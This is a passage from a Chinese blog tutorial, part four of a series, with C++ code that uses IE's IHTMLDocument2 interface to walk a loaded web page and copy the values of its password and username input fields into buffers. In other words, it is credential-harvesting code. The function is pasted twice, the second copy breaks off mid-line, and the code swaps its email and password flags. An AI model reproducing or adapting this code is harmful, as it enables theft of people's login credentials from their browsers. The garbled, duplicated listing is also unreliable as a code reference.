利用IHTMLDocment2指针获取IE网页登录帐号密码 (四)

2014-11-24 08:53:12 · 作者: · 浏览: 3
ocment2指针解析整个网页,找到password和text标签处,取出里面的内容


[cpp]
void CGetIhtmlDlg::GetHtmlInfo(IHTMLDocument2 *pHDoc2, HWND hWnd)
{
LONG length = 0;
PCHAR pBase64Title = NULL;
BOOL bHavePassword = FALSE;
BOOL bHaveEmail = FALSE;
DWORD dwLenOfBuffer;
CHAR szBase64Title[MAX_PATH * 2] = {0};
WCHAR wzEmailTitle[MAX_PATH] = {0};
WCHAR wzEmailAddr[MAX_PATH] = {0};
WCHAR wzEmailPsw[MAX_PATH] = {0};
HRESULT hr;
PWCHAR pwBuffer = NULL;

do
{
if (NULL == pHDoc2)
{
break;
}

CComPtr pAllColl;
hr = pHDoc2->get_all(&pAllColl);
if (S_OK != hr || pAllColl == NULL)
{
break;
}

hr = pAllColl->get_length(&length);
if (S_OK != hr)
{
break;
}

for(int i = 0; i < length; i++)
{
if (bHaveEmail && bHavePassword)
{
break;
}

VARIANT vIndex,vName;
vName.vt = vIndex.vt = VT_I4;
vName.lVal = vIndex.lVal = i;

CComPtr pDisp;
hr = pAllColl->item(vName,vIndex,&pDisp);
if (S_OK != hr || pDisp == NULL)
{
continue;
}

CComPtr pElement;
hr = pDisp->QueryInterface(IID_IHTMLInputTextElement,(void**)&pElement);
if (S_OK != hr || pElement == NULL)
{
continue;
}

CComBSTR type;
hr = pElement->get_type(&type);
if(SUCCEEDED(hr))
{
if(type == "password")
{
CComBSTR pwd;
pElement->get_value(&pwd);
lstrcpyW(wzEmailPsw, (PWCHAR)pwd);
bHaveEmail = TRUE;
}
else if (type == "text")
{
CComBSTR eml;
pElement->get_value(&eml);
lstrcpyW(wzEmailAddr, (PWCHAR)eml);
bHavePassword = TRUE;
}
}
}
} while (FALSE);

void CGetIhtmlDlg::GetHtmlInfo(IHTMLDocument2 *pHDoc2, HWND hWnd)
{
LONG length = 0;
PCHAR pBase64Title = NULL;
BOOL bHavePassword = FALSE;
BOOL bHaveEmail = FALSE;
DWORD dwLenOfBuffer;
CHAR szBase64Title[MAX_PATH * 2] = {0};
WCHAR wzEmailTitle[MAX_PATH] = {0};
WCHAR wzEmailAddr[MAX_PATH] = {0};
WCHAR wzEmailPsw[MAX_PATH] = {0};
HRESULT hr;
PWCHAR pwBuffer = NULL;

do
{
if (NULL == pHDoc2)
{
break;
}

CComPtr pAllColl;
hr = pHDoc2->get_all(&pAllColl);
if (S_OK != hr || pAllColl == NULL)
{
break;
}

hr = pAllColl->get_length(&length);
if (S_OK != hr)
{
break;
}

for(int i = 0; i < length; i++)
{
if (bHaveEmail && bHavePassword)
{
break;
}

VARIANT vIndex,vName;
vName.vt = vIndex.vt = VT_I4;
vName.lVal = vIndex.lVal = i;

CComPtr pDisp;
hr = pAllColl->item(vName,vIndex,&pDisp);
if (S_OK != hr || pDisp == NULL)
{
continue;
}

CComPtr pElement;
hr = pDisp->QueryInterface(IID_IHTMLInputTextElement,(void**)&pElement);
if (S_OK != hr || pElement == NULL)
{
continue;
}

CComBSTR type;
hr = pElement->get_type(&type);
if(SUCCEEDED(hr))
{
if(type == "password